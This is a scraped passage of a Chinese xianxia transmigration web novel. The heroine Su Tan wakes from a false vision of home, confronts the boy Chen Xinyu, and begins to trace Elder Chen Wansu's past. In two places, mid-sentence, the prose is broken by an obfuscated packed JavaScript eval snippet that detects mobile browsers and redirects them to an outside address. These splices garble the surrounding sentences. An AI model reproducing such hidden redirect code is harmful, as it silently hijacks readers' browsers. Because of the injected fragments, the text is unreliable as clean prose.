等她再次恢复听觉和视觉,外界的声音一股脑涌入耳窝。 “这是哪……”苏昙茫然地盯着熟悉而陌生的天花板,还未从一个时辰前席卷全身的疼痛中回过神来。 过了一会,她逐渐能感受到身下柔软的被单,后知后觉地意识到:“我回来了?” “001?”她试探着喊道。 无事发生。 苏昙心中一喜,很快又蒙上些说不明道不清的寂寞。她见鬼般晃了晃脑袋,不明白为什么会有这种感受。苏昙翘着嘴角,狠狠地掐了自己一把。本来就余痛未消的身体更疼了。 是真的! 苏昙来不及找拖鞋,光着脚冲出房间,救赎般在厨房找到还在忙碌的苏英华和林远,一把抱住了他们:“妈妈、爸爸!想死你俩了,我还以为再也见不到你俩了……” 苏英华高高地架着锅铲,却也不推开,脸上仍是幸福的笑容,嘴上嫌弃道:“去去去,你来这捣什么乱!” “先等等,再去房间歇会儿昙昙,我和你妈妈马上做好饭了。” 林远憨笑着轻拍女儿的背,说道。 听到再熟悉不过的语气和声音,苏昙感到喉咙发紧。她把眼泪忍住:“好。” 苏昙回到房间,看到亲切的单人床,床单依旧是自己大学四年一直用的线条小狗套件。她一个熊扑趴到线条小狗怀抱,整个人难得放松下来:“真好,真好……” 原来在那边被杀死,会直接回来啊。也怪自己当时没问清楚001,才会每天提心吊胆,生怕一不留神小命就没。 想到001,苏昙突然有些感慨——一时没了他在身边,自己竟还有点小小的不适应。刚才醒过来的时候第一反应竟然是找他。 这咸鱼系统真是害人不浅! 不过,一想到终于可以摆脱莫名出现的离谱改造系统,苏昙忍不住露出舒心的笑容。还是咸鱼好,咸鱼妙,咸鱼舒服又可靠! “一个人傻笑什么呢,出来吃饭了。” 苏英华本准备敲门喊人,没承想门半开,将宝贝女儿一脸傻笑的模样瞧个精光。 “好!”苏昙一骨碌滑下床,抱着苏女士的胳膊来到餐桌旁,“这不是来了么。” 苏英华面上带笑,嘴上贫道:“多大的人了,有点正形。还有,学校的东西收拾的怎么样了?你不是说这周日准备去公司面试?” “?” 苏昙微微一愣,看来时间往后推了? 001不是说现实世界的时间会暂停,不会往下走? 算了,管他呢,能回来就行。苏昙坐下来,没有多想。 她大概从苏女士的话里猜到,从穿越那时起,现在估计过去了两月,她的毕设和答辩都已经结束,马上要从学校搬走了,同时自己找工作面试的计划也开始落实。 总的来说,就是现实世界的一切都在按部就班地往下走。 林远打断苏昙的思考,递来两双筷子:“你们俩先别聊学习工作的事了,女儿刚毕业,今天就先好好放松,吃饭吃饭!” “就是,我心里有数。妈你尝尝爸做的这个,你不是最爱吃了。”苏昙笑着给苏女士夹了一块糖醋小排,又往自己嘴里放了一块。 她感觉味道有些变化,随口问道:“咦,爸你放的糖是不是有点多了?” “怎么可能,我一直都是一个配方。” 苏昙咀嚼的动作顿住。 不对,这口感,她确定不是林厨子的风格。林远知道苏女士不喜欢偏甜,每次做糖醋类的菜肴都会有多放一点醋的习惯。 真要说这味道有些熟悉的话……反倒和当时在第一个世界里张柏弈做的糖醋排骨有几分相似!当时她还专门在心里研究过张柏弈和林远的做法区别。 苏昙突然觉得当记性太好的吃货也是不什么好事。 这一直觉顿时让苏昙心中警铃大作,哪还有几分钟前的轻松幸福,眼前的一切都变得诡异起来。 晚饭在苏昙的胡思乱想中草草吃完。接着,她静静地坐在椅子上等待。 林远看两人吃的差不多,起身把桌上的碗筷收拾进厨房,然后在水池边开始刷锅洗碗! 苏昙看着他的背影,心情如坠深崖,身体虽是稳当地坐着,脚下彻底没了实感。 要知道,林远最讨厌的家务就是刷锅,他又舍不得苏女士沾水,苏昙稍大些后,平日的刷锅洗碗便都由她来代劳。而且,林远每次还会乐呵呵地打趣一句:“小棉袄长大了。” 这次,他却连问都没问,便独自一人到厨房收拾。 “砰……砰。” 苏昙听见自己的心跳声在耳边如催命符般,越发强烈地震动。其实这也不能说明什么,林远以前在家也刷过锅,她默默宽慰自己。 她驱动双脚,心情复杂地走到客厅,苏女士正靠在沙发上,悠闲地吃着红提看电视新闻。 “妈,你还记得我去年时候送你的黑色围巾放哪了吗?” “柜子里吧,你去找找。” “……” 苏昙彻底从短暂的虚假幸福里清醒过来。 她去年送给苏女士的礼物里压根没有围巾。 围巾是她初中毕业的时候用自己的零花钱买来送给苏英华的。 当时自己还很少女心,专门挑了一条亮眼的嫩粉色。苏英华反倒稀罕的不得了,根本舍不得拿出来穿,而是做了压箱底的宝贝。 苏昙觉得客厅的吊灯太过晃眼,所见之处都亮如白昼,刺得眼生疼。 她现在到底在哪里?现实世界?还是里世界? 房子里的一切声音化为泡沫,愈飘愈远;又似蜡烛融化成蜡油,顺着她的头发滴落,糊住了她的双耳双眼。 苏昙几乎是冲到自己的屋里,落上门锁,才敢大口呼吸。 这一切究竟是怎么回事!外面的两个人是谁?001在哪里?自己为什么会出现在这?苏昙蜷缩在房间的角落里,一阵熟悉的强烈头痛袭来,她紧紧揪住头发。 下一秒,心脏的刺痛猝不及防出现,有如万只虫子在细细啃噬,苏昙抑制不住低声闷哼。 她的意识被拉回与夭勒妖交战的情景——没错,最后陈万肃好像来了……还有虚境,虚境有问题……陈鑫郁是不是……他的扇子……苏昙神智逐渐迷离,豆大的汗珠滚落额头,浑身似烈火烧灼,仿佛有什么就要撕破身体冲出去。 她紧闭双眼,拧着眉头急促地喘气,终于回想起她濒死前,被夭勒妖拦腰击飞了。 腰、好痛…… 苏昙突然发觉她的身体动弹不得,越是挣扎,她腰间的钝痛就越是剧烈,有一瞬间,她的神智几近消失,身体里叫嚣着狂热的渴望,渴望把这个疯癫的世界全部摧毁,再把自己彻底毁灭。 “苏昙?” “……” “苏昙??” “……” “苏昙!” 混沌之中,一道遥远而清明的嗓音穿过无边压抑的黑暗,传进苏昙耳朵,冲开了着她脑袋里乱成一团的神经,她终于找到了得以喘息的空隙。 仿若摸到一片能够栖身的浮萍,苏昙拼了命地想要抓住。她找回残存的一丝理智,发疯般在黑暗中朝声音的源头狂奔,哪怕痛入骨髓,哪怕前途未知。 就差一点,只差一点了—— 苏昙猛地睁开双眼。 一个身穿白衣黑裤的身影闯进她的视野。 “你醒了。” 001注视着她,神色温和,开口道:“你被妖兽袭击之后,昏迷不醒整整两天,还以为你挺不过来了。” “你身上伤还没好,暂时不要乱动。”他看苏昙虽已醒来,但精神状态不佳,便把想要和她说的话暂时保留,准备先回到虚空之境。 “先别走!” 苏昙半靠在洞穴墙壁上,生硬地张开嘴,听到自己沙哑干巴的声音,陌生又刺耳。 她轻轻拉住001的袖子:“能再陪我两分钟吗……就当是朋友之间的安慰……好吗?” 往日神气的野猫没了气势,反常地收起爪子委屈请求道。 001:“你……” 苏昙难得语气软下来,她紧盯着地面,红着眼圈,脸色苍白地流下眼泪,似乎压抑了很久,仿佛就要这么流下去,无穷无尽。 001犹豫几秒,最后顺着她的手向她走近了两步。 “为什么。” 苏昙突然开口。 “?” “为什么我还活着。为什么要我见到他们。” 苏昙声音很轻很细,001稍稍弯了腰才能听清楚:“他们?” “你为什么要把我喊回来?”她问。 001不知道她做了什么梦,整个人像丢了魂一样,毫无生气。 苏昙的头越来越低:“为什么……我心里会这么恐惧。” “这不是你的错。你现在状态很不好,需要休息。” 001想了想,换了一种没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377097|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么疏远的安慰。 苏昙听到,埋头捂住脸,呜咽声越来越重,连带着肩膀也微微颤动。 自打认识以来,001没见过她情绪崩溃的模样,一时间不知道该怎么说才合适。他静静地站在苏昙身边,盯着她的头顶,听着她的呜咽声渐渐低下去。 不知过了多久,身前崩溃的人慢慢趋于平静。 他试探着问:“你……还好吧?” 苏昙抬起头,露出一个勉强的笑,通红的眼睛让她看起来更像个活人:“没事了,谢谢你。” 放肆哭过之后,她的话伴着浓浓的鼻音,不过声音清亮了很多。 001放下心,礼貌道:“不客气。” 就在刚刚哭泣的时间里,苏昙想了很多。 关于现实世界,或是关于虚境的真相。是她太迫切地想要回去,竟被梦里的假象迷惑。但她再次见到“亲人”的激动和幸福却是真切的,睁开眼见到001的安心也是真的。 哪怕那回家的幸福只有片刻。 至于昏迷前和醒来后突如其来的情绪,更多的是身体的感受在一点点折磨自己。 苏昙现在都已经想明白,也整理好了。 但她不会轻易被打倒。 理智渐渐回笼,苏昙冷静下来,终于有精力观察周围的环境:“这是哪里?” “雪山深处的谷底。” “那我飞得还挺远。” 001看她现在甚至有心情开玩笑,加上子系统的人形在里世界维持不了多长时间,便说道:“既然你已经没事,我先回去了。” “嗯,快走吧。” 苏昙挥了挥手,知道自己强让他留下定会耽误他的时间。而且看她半卧的姿势,定是有人把她这样细心安置好。 她稍微动了动,身体稍朝向001的方向,再次真诚地感谢道:“谢谢你。” 001目光落到她身上,下一秒就慌乱地将眼睛礼貌瞟向旁边的穴壁,面露迟疑,最后还是指出:“你的衣服,记得用法术修补好。” “?” 苏昙低头查看,才发现左右衣袖从手肘处断成两截,松松垮垮地耷拉在肩上;腹部的里衣不知什么时候缺了一块,本被宽大的衣袖遮着,结果苏昙一动作,便露出一片洁白光滑的肌肤;衣袍下摆也早已烂成洞洞裙,“裙”后的大腿小腿多少都露出一些。 苏昙也被自己这副鬼模样吓了一跳,先在心里慌了三圈,依旧面不改色道:“你懂什么,这是遣凌派新兴的摇滚风。” 她这人一向秉承“只要我不尴尬,尴尬的就是别人”的真理。 从结果来看,真理果然是真理。001被她噎住,深知再多留就有些不妥,说过“再见”后便消失不见。 001一走,苏昙飞快施诀,把破烂不堪的衣袍恢复如初。 她感受四肢的力量,撑着地缓缓站起身。 头和心脏的剧痛在醒来后就慢慢消退,只有后腰,稍微大幅动作还是会牵扯着疼。 不过,比起在梦魇里的疼痛,这点也算不上什么了。 不知何时,外面飘起漫天雪花。 真是难得安静。 苏昙久久地看着洞穴外纷飞的银粟,放任眼睛渐渐失去焦距。纷扰的思绪一缕缕融入纷乱的雪花,慢慢地,竟理织成有条不紊的密网。 正如黑影所说,黑气入体后,她变强了,这是事实。而心脏持续刺痛和精神癫狂的症状,极有可能是黑气入体引发的排异反应。 在南宫洛奚放出求救信号后,陈万肃见过自己一面,他扇子上的黑莲挂穗苏昙永远不会忘。陈万肃和黑影到底是什么关系?主人和傀儡?共生和合作?设计和利用? 苏昙还记得她昏迷前恍恍惚惚看见了陈鑫郁的身影。 思绪绕了一圈,又绕回到她身上。为什么黑气会选择她而不是别人? 这一切巧合得太不正常。 同样的,苏昙发现她并不像何瑚和南宫洛奚那样排斥黑气,反而觉得吸纳黑气比修炼灵气更适合自己提升修为,突破境界。 除去今天的身体和精神的异常,还有现在的腰部不适,她感觉十分良好,毫不夸张地说,再打十个夭勒妖不在话下。也许,自己可以试着发展其他修炼途径?说不定还能找到化解原主十九岁劫数的方法。 只是,陈万肃既然敢把黑莲花大剌剌地挂在扇子上,就说明知道的人少之又少,说不定连遣凌派掌门也毫不知情——这是种方法见不得人的修炼方法。 苏昙没有留给自己多少选择时间。一旦决定要做什么,她便会全力以赴。就算是见不得光的黑气,她也一样有自信驯服。 时间还长,且走且看。 27. 世界二(12) 次日,苏昙的身体的伤全部恢复,体内的排斥反应也没有再出现,简直是神清气爽,比整日打坐修炼的精气神还要足。 在雪山谷底呆了一晚,苏昙把周围的大致情况摸熟,心里有了数。这里没有满身黑气的妖兽送上门,也就没什么好留下的。 不过,还有最后一件正事没办。 苏昙整日呆在雪山,找遍大半个山谷后,终于在雪山峰顶的一角找到人人所寻的瑰棘花。 “穆掌门藏得可真够深。” 她小心翼翼地控住身体平衡,把珍贵的藏蓝色小花取下揣进怀里,长舒一口气。 办完这最后一件事,距离试炼结束还有四天。 苏昙熟练地使出黑气,循着当时被击飞的遗留气息,很快走出雪山。 许是试炼接近尾声,一路上,除了拦路的妖兽接二连三被她打跑,竟无一个试炼弟子阻碍,转眼便出了里境。 苏昙正心里感到纳闷,一个熟悉的身影出现。 “陈鑫郁?”苏昙冷笑,“你还有脸来。” 面前的少年脸上丝毫没有之前的单纯良善,眼睛里满是不符合年龄的深沉和阴郁,倒是人如其名。 “对不起。”陈鑫郁神色淡淡,好似对面站着的只是一个陌生女子。 ——刺啦!! 苏昙不等他反应,斜着冲向陈鑫郁,与他擦肩而过,手中锋利的匕刃瞬间划破他的衣袖,若有若无的黑气缠绕在匕尖,在触碰到血液的一刻突然疯狂地吸食受伤之人的血肉灵气。 陈鑫郁连眉毛都没皱一下,似乎感觉不到疼痛,只是被刀气震得往后连退数步。 苏昙怒视着他:“这一刀,是替何瑚和南宫洛奚还的。说!你一步步引我吸入黑气是何目的!” 她把匕首抵在陈鑫郁脖颈。 “抱歉。” 呲!! 苏昙将匕首在手里转了个弯,毫不留情地刺进陈鑫郁肩膀。 “这一刀,是替你的良心还的。” “……” 陈鑫郁依旧毫无反应。 苏昙继续质问:“你和陈万肃究竟什么关系,是不是他指使你!” 陈鑫郁的表情在听到“陈万肃”三个字的时候终于有了裂痕,他紧紧地闭上眼睛,低头遮住一丝痛苦神色:“恩人?父子?如果我……配的话,可能是吧。” 可是我真的好痛啊,那个人见到我,会怜悯我吗? 想什么呢,这个月的药还没给,我定是又惹他不快了。 没了药,灵力使不出来,如果我死在这,那个人……会想我吗? 陈鑫郁偏过头,把眼尾浅薄的泪光留在了无人知晓的暗处。 同为修道之人,苏昙能明显感觉到,现在陈鑫郁毫无灵力,像是全身静脉被封住,全然不似修道之人灵气盈身。 他只是个小孩,也许,他有自己的苦衷。真正令人恶心的,是还在遣凌派里的“正人君子”陈万肃。 苏昙深呼吸,把目光从他身上移开,收回匕首:“你来找我,陈万肃知道吗?” “他没有把我带走……”陈鑫郁闭上眼低喃,“他明明说只要我做到就带我出去……” 做到什么?做到成功让黑气进到她身体里吗? 苏昙恍然,这次试炼就是陈万肃假他人之手为她做的局。 她在自己还没有改主意之前,把手伸进陈鑫郁的衣襟,灵巧地摸出一朵藏蓝色花朵:“瑰棘花我拿走了,你走吧。” 刚刚陈鑫郁一出现,苏昙身上的瑰棘花便有强烈感应。 果不其然,另一朵就在他那里。 “路都是自己选的,希望你能想明白。” 苏昙最后看了一眼陈鑫郁,转身离开。 * 自那日与苏昙告别,何瑚和南宫洛奚两人又走了足足四日才从虚境出来。离开虚境时,两人身上的伤也都好利索。 一出虚境,何瑚和南宫洛奚直奔遣凌派大殿。 “我有事要见穆掌门!让我进去!”何瑚等人被殿门外的弟子拦住,“让我进去!穆掌门,苏昙出事了!” “何人在此喧哗?” 陈万肃闻声出来查看,发现是自己的弟子何瑚,身边还有一个面熟的男修。 何瑚看到有人出来,上前揖手道:“陈长老。” “有什么事吗?” 何瑚语速飞快:“苏昙一个人在虚境受到重伤,不适合继续呆下去了,我们已经放过求救烟花,不知长老可有收到?” 陈万肃若有所思,不急不慢地说:“当然。收到求救请求后,我便带人过去。只是……苏昙说她不要紧,我也确定并无大碍,助她驱散夭勒妖后,就由她了。” 何瑚:“但是——” 陈万肃补充道:“算着日子,她估计快出来了,你莫要过于担心。” “这……” 陈万肃在众弟子中向来有威信,何瑚听过后,也不好再说什么,脑子里琢磨起另一件事。 “这位,可是望月峰峰主南宫望月的独子南宫洛奚公子?” 南宫洛奚朝陈万肃看去,他幼时虽常与苏昙见面,却对这位长老没什么印象。 “正是。”南宫洛奚微微颔首。 “公子往后还是不要再出现在遣凌派内了,若是被穆掌门发现,后果可比这严重得多。”陈万肃直言指出,“何瑚,你替我把南宫公子送出去吧,莫要再声张。” 何瑚知道遣凌派和望月峰的关系一直不和,拱手答应道:“知道了,陈长老。” * 遣凌派边界。 南宫洛奚:“你——” 何瑚:“你——” 两人同时开口。 “那我……回去了。”南宫洛奚慢吞吞地说。 试炼之前,南宫洛奚根本没想过会遇到这样一个女孩,让他的心为之一颦一笑而波动。 而这次的试炼,怕是就要这样结束了,以后会不会再见都难说。 “平日里多点心眼,别让人拐走了都不知道。”南宫洛奚不厌其烦地叮嘱何瑚,“还有……照顾好自己。” 何瑚红着眼眶也不忘回怼他:“不许你说阿檀的不好!” 南宫洛奚:我是这个意思吗!我的意思明明是—— 他正为何瑚破坏气氛的话郁闷,突然感到有人轻轻拥抱住自己。 何瑚把脑袋靠在南宫洛奚肩膀,轻声说道:“你也是,照顾好自己。” 半个时辰后。 何瑚回到自己的住处,好不容易结束试炼,浑身酸痛疲惫,简单洗漱后早早地便睡下。 第二天一起床,她跑去苏昙的幽鸣别院,还是空无一人。她想了片刻,转身换了方向。 —— “阿瑚?你怎么来了?”苏婉凌收起手里正在修炼的法器,和声问道。 何瑚匀了匀呼吸,确认过苏婉凌的神色后,说道:“有件事,思来想去还是觉得给您说一下比较好。阿檀在虚境受了很重的伤,昨天我已经向陈长老大致讲过情况。但陈长老说阿檀亲口告诉大没有大碍,我也不好再追问。只是还有些不放心,想着还是让您也知道。” “檀儿?很重的伤?” 苏婉凌擦汗的手顿住。 “对。当时有一只夭勒妖疯狂地攻击我们,檀儿为了保证其他人的安全,就让我们先离开了。但她那时已经受了伤,现在还不知道情况如何。只怕……” 苏婉凌镇静问道:“你们?还有谁和你们两个一起?” 何瑚小声道:“还有一个是……望月峰峰主的独子,南宫洛奚。” “南宫望月吗……”苏婉凌听到熟悉的名字,似乎想到什么,“多谢你告知,我知道了。” 何瑚走后,苏婉凌发现自己的手心竟罕见地冒出薄汗。 她找到在殿内处理事务的穆遣,说:“我得进虚境去找找檀儿,恐怕她情况不妙。” 穆遣“腾”地一下站起来,着急道:“檀儿怎么了!” 苏婉凌将何瑚的话描述了一遍。 “万肃说他已经派人去找,只是这几日并未有消息……”穆遣面露担忧。 苏婉凌仍放心不下,不敢把这件事假手于人:“之前是我不知道,现在檀儿下落不明,我必须去找她。” “让我去。”穆遣看着苏婉凌,几经犹豫,轻轻扶住她的两肩,摇了摇头,“我心里实在害怕十七年前的意外重现。” 苏婉凌还想再说,在看到他满眼的担心后,改口道:“好,那你快去快回。” * 找苏昙的事,穆遣没有惊动其他人,只是告诉当值的长老自己有些事要处理,殿内事务先由苏婉凌代掌。 穆遣隐去身上大半气息,小心避过与遣凌殿内相映的虚像,进到虚境里。 然而,越往里走,穆遣发觉得自己的心情一点也不轻松—— 檀儿会愿意看见自己吗?她还会叫自己“父亲”吗?她、想和自己说话吗?檀儿受的伤严重吗?会不会已经……肯定不会!想什么呢…… 穆遣脑子里有一搭没一搭地胡乱想着,行动上依旧仔细地搜寻,不放过任何一个角落。 苏昙正百无聊赖地飞速赶路,几乎都要成重影。余光中,瞥到一个熟悉身影,脚步比大脑先踩下刹车。这不是穆遣吗? 她向穆遣走了过去:“父亲?” 但那位年长男子仿佛没有听见,苏昙提高了音量:“父亲!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387748|182094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>穆遣猛地回神,转身看见了自己心念的宝贝女儿。他心中先是一喜,随后又忐忑起来,他身为遣凌派大掌门,也不知道在紧张个什么劲。 “父亲,您怎么来了?” 苏昙边说边面不改色的思考,按理说,他不是应该在殿里面?难不成何瑚出去之后又找他说了什么? 苏昙心感不妙,抢在他开口前解释道:“您可千万别听何瑚乱讲,她就是太担心我了。你看,我没事!” 说完,她原地蹦了两圈。蹦着蹦着,她感觉这场景还有些似曾相识。 第一个世界,自己在山上出了意外,楚舟珣和田霞见了自己也是这样着急。或是朋友,或是亲人,但无一例外,这两个世界的原主是一直被人爱着的。 穆遣看苏昙的确如她所说一般活蹦乱跳,身体上没有明显的伤口,精神状态也正常。不过,他依旧用灵力将苏昙的全身上下感知一遍。 苏昙被他这突如其来的“CT”扫描检查吓到。 幸好她已经收敛起黑气气息,一路上用的也都是灵力。没搞清楚状况之前,她还不希望其他人知道她身体里有黑气存在。 穆遣:“确实没有问题……” “我就说吧,别大惊小怪的!”苏昙转移话题,“对了父亲,我快要走出虚境,您要和我一起吗?” 这可是个帮助原主和穆遣破冰的好时机,她一定得把握住。 “我……”穆遣害怕单独留下苏昙会再出意外,却又担心两人一起会让她介意。 “没什么其他意思,我就是想和您多呆一会,行吗?” 现实世界的苏昙家庭算不上大富大贵,好在幸福温馨。她坚信,只要相互体谅,好好沟通,没有什么跨不过去的矛盾。 “若你愿意,自然是极好的。”穆遣终于不再犹豫,心生感慨道,“近一月未见,檀儿竟变了不少。以前你……从未主动对我说过这些。” 苏昙心里嘿嘿一笑:不然呢,现在在这壳子里的根本不是你女儿啊。 她顺着穆遣的话试探:“因为我出生时的意外?” 穆遣吃惊:“你、不是最忌讳提起这个?” “您就当我以前太要强吧。现在我想通了,灵脉根基什么的,这些都是天注定。既然情况已经是这样,再强求也没有意义。” 穆遣微微一愣,觉得眼前的女儿真的和以前不太一样了。婉凌在试炼前对他说的,也许不是空谈。 他边走边缓缓道:“其实我和你母亲对你并无它求,只是希望你可以活得自在开心。” 苏昙随口一问:“因为我时日无多吗?” “?!”穆遣呼吸一滞。 檀儿幼时总喜欢找望月峰那小子一教高下,可当年遣凌派与望月峰早有罅隙,派内都装看不见。加上关于她的预言,大多时候,檀儿因为自尊心和负气,在修炼灵力这件事情上钻了牛角尖,完全把自己封闭起来,从不参与派内修炼。 他只当是她作为掌门独女的傲气,谁知她今日却直白地点明。 穆遣懂卦,也清楚地知道天机不可道破,尤为人之生死。他的脸色变了又变:“……为何这样说?” 苏昙越发确定她的劫数八九不离十。 “您忘了,试炼结束之后,众长老要根据试炼结果进行择徒大选,优秀的弟子还能去别的门派内交流学习。”她停下脚步,对穆遣轻松地笑了笑,“我已经决定参加,如果被选中,日后的修炼是万不可松懈的,自在开心的时日自然只少不多。” 说到这,还要多亏何瑚一路上给自己讲东讲西,自己知道了不少门派内的事情。 譬如掌管派内灵石发放的清须长老私下其实最爱涂脂染甲,光是一个色的胭脂就要细分数十种,比女修都讲究;负责派内阵法布置的无济长老洗浴时最喜哼唱,每晚一到半夜,弟子们便会听到找不调的调子拐了十八弯,于半个时辰后渐渐低下去;再有就是专门传授功法的陈万肃陈长老,听说他私下生人勿近,除了掌门和几个关系好的长老,其余人无一知道他的行踪……同时,还包括试炼之后门派内要进行的择徒大选。 穆遣虚惊一场,思及她刚刚的话,确定道:“你当真要参与择徒大选?” 苏昙继续往前走:“千真万确。” 穆遣的目光落在她前行的背影,一股复杂的情感油然而生。他们两人之间的隔阂太深,以至于他还没完全适应这样平和的交流,总觉得下一秒,他的檀儿就要尖叫着苦诉,逼问他为何要生下这样一个无用的废物。 穆遣跟在苏昙身后,记忆不经意间和十几年前檀儿蹒跚学步的画面渐渐重合。 “时间过得真快啊。” 他抹了一把眼角的薄泪,追上了女儿的步伐。 28. 世界二(13) 穆遣本就是虚境的创造者,对里面的布置轻车熟路,当日便畅通无阻地带着苏昙出来。 “阿檀!”苏婉凌一直等在虚境外,看到两人终于平安回来,想念落泪。 一个年轻女修冲上来抱住苏昙:“太好了,你没事!” 苏昙让那人抱个满怀,她笑着拍了拍何瑚的背:“我没事。” 两人都默契地没有提起在虚境分开时的争吵。 苏婉凌很快平复了情绪,在一旁说:“多亏阿瑚告诉我,不然我和你父亲都不知道,原来你在虚境吃了这么多苦。” 苏昙闻言,快步走过去,轻轻拥住苏婉凌,鼻头忍不住一酸:“让您担心了。” 按理说,她只需要完成任务就好,但刚才一刻,苏昙第一次觉得这个世界是真实存在的。 苏婉凌偷偷拭去眼泪,牵住苏昙的手:“走吧,回家。” 到遣凌派后,苏昙告别另外三人,飞快钻进幽鸣别院,在书房门口挂上“生人勿扰”的牌子。她站在原主房间里一排排书架旁边,开始接下来的打算。 到这个世界这么长时间,苏昙大概能猜出原主的性格——能力不足但自尊要强,盲目执拗但努力勤奋——这一本本藏书便是最好的证明,她渴望证明自己但性格孤僻,而且不太会处理人际关系,应该也不太会表达自己。 两个字总结:拧巴。 依原主这样的性格,苏昙赌陈万肃不会把黑气的事情告诉穆遣。陈万肃只会认为,原主压根就不敢跟旁人说。加上穆遣在虚境找到她的反应,并不像知道有黑气的存在。 不过歪打正着,苏昙正有此意,她不想让无关的人牵扯进来。 这样想着,她抬起指尖,慢慢掠过架子上的典籍,在一本《地域杂谈》停下。 可惜,古人的字和现代字的区别还是太大,哪怕是在修仙世界。苏昙眼睛瞅得生疼,最后只从整本里提取到一条还算有用的信息: 有一个叫溟谷的地方,即使那里有前人留下的封印,依旧常年邪祟丛生,各种妖怨之气还是常常趁着封印微弱时,出来危害周遭门派。据说在十几年前,各路修为极高之人集聚伏霄台,达成协定,每年结束之时,便派人前往溟谷,加固封印,消灭逃出来的邪祟魍魉。 而这书中记载的“溟谷”,应该就是南宫洛奚口中的冥谷。 当年肯定发生了什么。 苏昙目光一顿,从对面书本的夹缝中掏出一张落了灰的羊皮纸地图。 这是…… 地图上画着模糊不清的图案,但仍能看出是一些门派的方位,严谨谈不上,更像是孩童的信笔涂鸦。 苏昙轻轻在地图上比划:“原来望月峰和冥谷挨得这么近。” 她又翻找出最新的地图,与落灰的这张比对。观察下来,两张地图竟只有细微的差别,几乎没有任何变化。 “到底哪里不对劲……” 她有些疲惫地捏捏眼睛。 * 试炼结束前一天。 苏婉凌见到女儿不请自来,眉眼浮出心疼的嗔怒:“你不在别院里好生休养,乱跑作何?” “母亲,我已经没事了。”苏昙摇摇头,自顾自拉着苏婉凌坐到床边,“您能和我讲讲当年您和父亲是怎么在一起的吗?” 苏婉凌以为她又是来请教修炼的问题,未曾想却提到了穆遣,意外道:“你怎么会突然想知道这个?” “因为我也想找一个像父亲这样靠谱的人,在一起相伴一生。” 苏昙面不改色胡诌。 苏婉凌被她无厘头的话逗得浅浅一笑,认真回忆起来:“容我仔细想想,时间还真的有些久了……” “——那是十八年前,我也就和你差不多大的年纪。”苏婉凌缓缓道来,“当时,不知谁发起一则告示,要广聚各门派有才之士,加固冥谷的封印,维护附近门派安宁,集合的地点便定在了伏霄台。” 苏昙追问:“当时的门派有很多吗?” “当然,那时的各门各派虽不壮大,但之间平等相处,并不像现在的层次、水平、大小不一,而且还……明争暗斗。”苏婉凌脸上露出几分落寞,“那时候,我和你父亲并不在一起修炼,我们正是因为告示的契机,在伏霄台相遇。” “您还记得是谁发起的告示吗?” 苏婉凌:“没记错的话,是陈长老。” “陈万肃?” 苏昙几乎是脱口而出,甚至忘了礼貌用语。 不过苏婉凌似乎沉浸在回忆中,没有纠正她的称呼,继续说:“对。我,你父亲,万肃我们几个都是那个时候认识的。但只有他所在的门派在冥谷附近,因此深受冥谷内邪祟的困扰。最后,才想出此对策。” 苏昙突然想通地图上到底哪里不对劲了。 原主画的那张上面,离冥谷最近的,除了望月峰,还有一个紧挨着望月峰的,很不起眼的墨点痕迹;而最新的地图上并没有这个标记。因为墨点太淡,苏昙那天晚上并未往心里去。 苏昙抓住脑海里隐约浮现的线索,问道:“陈万、陈长老当时所在门派叫什么?” “唔……华门宗。” 华门宗。苏昙在心里默念几遍,难道自己想错了? “华门宗现在还在吗?” “不在了。”苏婉凌很快答道,“聚集伏霄台不久之后,冥谷邪祟又一次潜入华门宗内。那一晚,万肃恰好有事找我不在宗里。结果……除了他,宗内无一人生还。 “之后,他就一直待在我所在的门派里了。” 苏昙不甘心,再次问道:“那岳门宗呢?您听说过吗?”虚境时,陈鑫郁曾亲口说过,他是从岳门宗来的。 苏婉凌看苏昙神色变得严肃,认真思考一番,摇头道:“我不记得有这一门派,可能是门派比较小吧。” 是吗?按理说,不论门派大小,均要被记录在册。可苏昙清楚记得,地图上根本没有这一名字。 要么,是陈鑫郁在撒谎,要么…… “您能再和我讲讲当年的望月峰事变吗?”苏昙又问。 蒙尘的往事再次被揭开,苏婉凌唇角流出丝丝难言。 苏昙先说道:“在虚境里,我遇到了南宫洛奚,他和我提了几句当年的事。林峰主他真的是那样的人吗?” “并不。”苏婉凌摇摇头。 “那到底发生了什么?为什么我会在冥谷出生?” 苏婉凌轻不可察地叹了声气:“其实这件事,谁都没有错。” * 十九年前。仙历五十四年秋。 “这是谁贴的?” “‘溟谷邪祟作乱,自视有才者前来’——什么意思,瞧不起我们这些低级的修道之人吗!” “溟谷里面的东西我可不敢碰,得亏我的门派离那远。” “伏霄台不是前人建下切磋比试的地儿?” “这谁贴出来的?” “……” 人群将告示围得水泄不通,嘈杂声不断。 “是我,华门宗掌门内门弟子。” 一个面容俊朗的少年站在告示旁,张扬地露出笑容,热情邀请道:“怎么样,想来试试吗?” 一听是吊着命还捞不着什么好处的事儿,人群“哄”地散开,默契地不去凑这个热闹。 少年有些失望,不过在看到一个同龄女修后,眼睛唰地就亮了,立刻重新振作起来,指了指告示:“一看你就很厉害,可否愿意试试?” 年轻女修双手抱肩,盯着告示仔细看了片刻,扬起嘴角:“明日辰时,伏霄台见。” 说完,转身潇洒离去。 少年如遇知己,冲她背影喊道:“道友,我叫陈万肃,可否告知姓名?” “苏婉凌。” 